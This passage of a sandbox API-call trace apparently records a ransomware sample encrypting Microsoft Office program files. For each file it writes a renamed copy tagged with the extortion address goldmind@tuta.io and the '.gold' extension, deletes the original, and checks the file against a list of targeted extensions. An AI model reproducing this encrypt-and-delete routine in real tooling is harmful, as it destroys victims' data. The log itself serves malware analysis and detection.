(lpString1=".BDR", lpString2=".gold") returned -1 [0110.189] lstrlenW (lpString="MSART2.BDR") returned 10 [0110.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0110.189] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=47188) returned 1 [0110.189] CloseHandle (hObject=0x3b0) returned 1 [0110.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr")) returned 0x20 [0110.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0110.190] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.190] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0110.191] GetLastError () returned 0x0 [0110.191] ReadFile (in: hFile=0x3b0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0xb854, lpOverlapped=0x0) returned 1 [0110.233] WriteFile (in: hFile=0x230, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xb860, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xb860, lpOverlapped=0x0) returned 1 [0110.234] ReadFile (in: hFile=0x3b0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.234] WriteFile (in: hFile=0x230, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0110.234] SetEndOfFile (hFile=0x230) returned 1 [0110.234] CloseHandle (hObject=0x230) returned 1 [0110.234] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.234] SetEndOfFile (hFile=0x3b0) returned 1 [0110.236] CloseHandle (hObject=0x3b0) returned 1 [0110.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr")) returned 1 [0110.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0110.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0110.237] lstrlenW (lpString=".doc") returned 4 [0110.237] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.237] lstrlenW (lpString=".docx") returned 5 [0110.237] lstrcmpiW (lpString1=".docx", lpString2="2.BDR") returned -1 [0110.237] lstrlenW (lpString=".pdf") returned 4 [0110.237] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.238] lstrlenW (lpString=".xls") returned 4 [0110.238] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.238] lstrlenW (lpString=".xlsx") returned 5 [0110.238] lstrcmpiW (lpString1=".xlsx", lpString2="2.BDR") returned -1 [0110.238] lstrlenW (lpString=".ppt") returned 4 [0110.238] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0110.238] lstrlenW (lpString=".zip") returned 4 [0110.238] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.238] lstrlenW (lpString=".rar") returned 4 [0110.238] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.238] lstrlenW (lpString=".bz2") returned 4 [0110.238] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.238] lstrlenW (lpString=".7z") returned 3 [0110.238] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0110.238] lstrlenW (lpString=".dbf") returned 4 [0110.238] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0110.238] lstrlenW (lpString=".1cd") returned 4 [0110.238] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0110.238] lstrlenW (lpString=".jpg") returned 4 [0110.238] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0110.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0110.238] lstrlenW (lpString=".doc") returned 4 [0110.238] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.238] lstrlenW (lpString=".docx") returned 5 [0110.238] lstrcmpiW (lpString1=".docx", lpString2="2.BDR") returned -1 [0110.238] lstrlenW (lpString=".pdf") returned 4 [0110.238] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.238] lstrlenW (lpString=".xls") returned 4 [0110.238] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.238] lstrlenW (lpString=".xlsx") returned 5 [0110.238] lstrcmpiW (lpString1=".xlsx", lpString2="2.BDR") returned -1 [0110.238] lstrlenW (lpString=".ppt") returned 4 [0110.238] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0110.238] lstrlenW (lpString=".zip") returned 4 [0110.238] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.238] lstrlenW (lpString=".rar") returned 4 [0110.238] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.238] lstrlenW (lpString=".bz2") returned 4 [0110.238] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.238] lstrlenW (lpString=".7z") returned 3 [0110.238] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0110.238] lstrlenW (lpString=".dbf") returned 4 [0110.238] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0110.238] lstrlenW (lpString=".1cd") returned 4 [0110.238] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0110.238] lstrlenW (lpString=".jpg") returned 4 [0110.238] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.239] lstrcmpiW (lpString1=".BDR", lpString2=".gold") returned -1 [0110.239] lstrlenW (lpString="MSART4.BDR") returned 10 [0110.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0110.475] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=14594) returned 1 [0110.475] CloseHandle (hObject=0x380) returned 1 [0110.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr")) returned 0x20 [0110.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.492] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.492] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0110.493] GetLastError () returned 0x0 [0110.493] ReadFile (in: hFile=0x3b4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x3902, lpOverlapped=0x0) returned 1 [0110.525] WriteFile (in: hFile=0x394, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x3910, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x3910, lpOverlapped=0x0) returned 1 [0110.526] ReadFile (in: hFile=0x3b4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.526] WriteFile (in: hFile=0x394, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0110.526] SetEndOfFile (hFile=0x394) returned 1 [0110.745] CloseHandle (hObject=0x394) returned 1 [0110.745] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.745] SetEndOfFile (hFile=0x3b4) returned 1 [0110.751] CloseHandle (hObject=0x3b4) returned 1 [0110.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr")) returned 1 [0110.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0110.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0110.791] lstrlenW (lpString=".doc") returned 4 [0110.791] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.791] lstrlenW (lpString=".docx") returned 5 [0110.791] lstrcmpiW (lpString1=".docx", lpString2="4.BDR") returned -1 [0110.791] lstrlenW (lpString=".pdf") returned 4 [0110.791] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.791] lstrlenW (lpString=".xls") returned 4 [0110.791] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.791] lstrlenW (lpString=".xlsx") returned 5 [0110.791] lstrcmpiW (lpString1=".xlsx", lpString2="4.BDR") returned -1 [0110.791] lstrlenW (lpString=".ppt") returned 4 [0110.791] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0110.791] lstrlenW (lpString=".zip") returned 4 [0110.792] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.792] lstrlenW (lpString=".rar") returned 4 [0110.792] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.792] lstrlenW (lpString=".bz2") returned 4 [0110.792] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.792] lstrlenW (lpString=".7z") returned 3 [0110.792] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0110.792] lstrlenW (lpString=".dbf") returned 4 [0110.792] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0110.792] lstrlenW (lpString=".1cd") returned 4 [0110.792] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0110.792] lstrlenW (lpString=".jpg") returned 4 [0110.792] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0110.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0110.792] lstrlenW (lpString=".doc") returned 4 [0110.792] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.792] lstrlenW (lpString=".docx") returned 5 [0110.792] lstrcmpiW (lpString1=".docx", lpString2="4.BDR") returned -1 [0110.792] lstrlenW (lpString=".pdf") returned 4 [0110.792] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.792] lstrlenW (lpString=".xls") returned 4 [0110.792] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.792] lstrlenW (lpString=".xlsx") returned 5 [0110.792] lstrcmpiW (lpString1=".xlsx", lpString2="4.BDR") returned -1 [0110.792] lstrlenW (lpString=".ppt") returned 4 [0110.792] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0110.792] lstrlenW (lpString=".zip") returned 4 [0110.792] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.792] lstrlenW (lpString=".rar") returned 4 [0110.792] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.792] lstrlenW (lpString=".bz2") returned 4 [0110.792] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.792] lstrlenW (lpString=".7z") returned 3 [0110.792] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0110.792] lstrlenW (lpString=".dbf") returned 4 [0110.792] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0110.792] lstrlenW (lpString=".1cd") returned 4 [0110.792] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned 61 [0110.793] lstrlenW (lpString=".jpg") returned 4 [0110.793] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.793] lstrcmpiW (lpString1=".SAM", lpString2=".gold") returned 1 [0110.793] lstrlenW (lpString="ACT3R.SAM") returned 9 [0110.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.795] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=13192) returned 1 [0110.795] CloseHandle (hObject=0x3b4) returned 1 [0110.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam")) returned 0x20 [0110.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.795] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.795] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0110.827] GetLastError () returned 0x0 [0110.827] ReadFile (in: hFile=0x3b4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x3388, lpOverlapped=0x0) returned 1 [0110.830] WriteFile (in: hFile=0x3c0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x3390, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x3390, lpOverlapped=0x0) returned 1 [0110.831] ReadFile (in: hFile=0x3b4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.831] WriteFile (in: hFile=0x3c0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0110.831] SetEndOfFile (hFile=0x3c0) returned 1 [0110.831] CloseHandle (hObject=0x3c0) returned 1 [0110.831] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.831] SetEndOfFile (hFile=0x3b4) returned 1 [0110.833] CloseHandle (hObject=0x3b4) returned 1 [0110.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam")) returned 1 [0110.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0110.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0110.835] lstrlenW (lpString=".doc") returned 4 [0110.835] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0110.835] lstrlenW (lpString=".docx") returned 5 [0110.835] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0110.835] lstrlenW (lpString=".pdf") returned 4 [0110.835] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0110.835] lstrlenW (lpString=".xls") returned 4 [0110.835] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0110.835] lstrlenW (lpString=".xlsx") returned 5 [0110.835] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0110.835] lstrlenW (lpString=".ppt") returned 4 [0110.835] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0110.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0110.835] lstrlenW (lpString=".zip") returned 4 [0110.835] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0110.835] lstrlenW (lpString=".rar") returned 4 [0110.835] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0110.835] lstrlenW (lpString=".bz2") returned 4 [0110.835] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0110.835] lstrlenW (lpString=".7z") returned 3 [0110.835] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0110.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0110.835] lstrlenW (lpString=".dbf") returned 4 [0110.835] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0110.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0110.835] lstrlenW (lpString=".1cd") returned 4 [0110.835] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0110.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0110.835] lstrlenW (lpString=".jpg") returned 4 [0110.835] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0110.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0110.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0110.835] lstrlenW (lpString=".doc") returned 4 [0110.836] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0110.836] lstrlenW (lpString=".docx") returned 5 [0110.836] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0110.836] lstrlenW (lpString=".pdf") returned 4 [0110.836] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0110.836] lstrlenW (lpString=".xls") returned 4 [0110.836] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0110.836] lstrlenW (lpString=".xlsx") returned 5 [0110.836] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0110.836] lstrlenW (lpString=".ppt") returned 4 [0110.836] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0110.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0110.836] lstrlenW (lpString=".zip") returned 4 [0110.836] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0110.836] lstrlenW (lpString=".rar") returned 4 [0110.836] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0110.836] lstrlenW (lpString=".bz2") returned 4 [0110.836] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0110.836] lstrlenW (lpString=".7z") returned 3 [0110.836] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0110.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0110.836] lstrlenW (lpString=".dbf") returned 4 [0110.836] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0110.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0110.836] lstrlenW (lpString=".1cd") returned 4 [0110.836] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0110.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65 [0110.836] lstrlenW (lpString=".jpg") returned 4 [0110.836] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0110.836] lstrcmpiW (lpString1=".FAE", lpString2=".gold") returned -1 [0110.836] lstrlenW (lpString="OLADDR.FAE") returned 10 [0110.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.837] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=13744) returned 1 [0110.837] CloseHandle (hObject=0x3b4) returned 1 [0110.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae")) returned 0x20 [0110.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 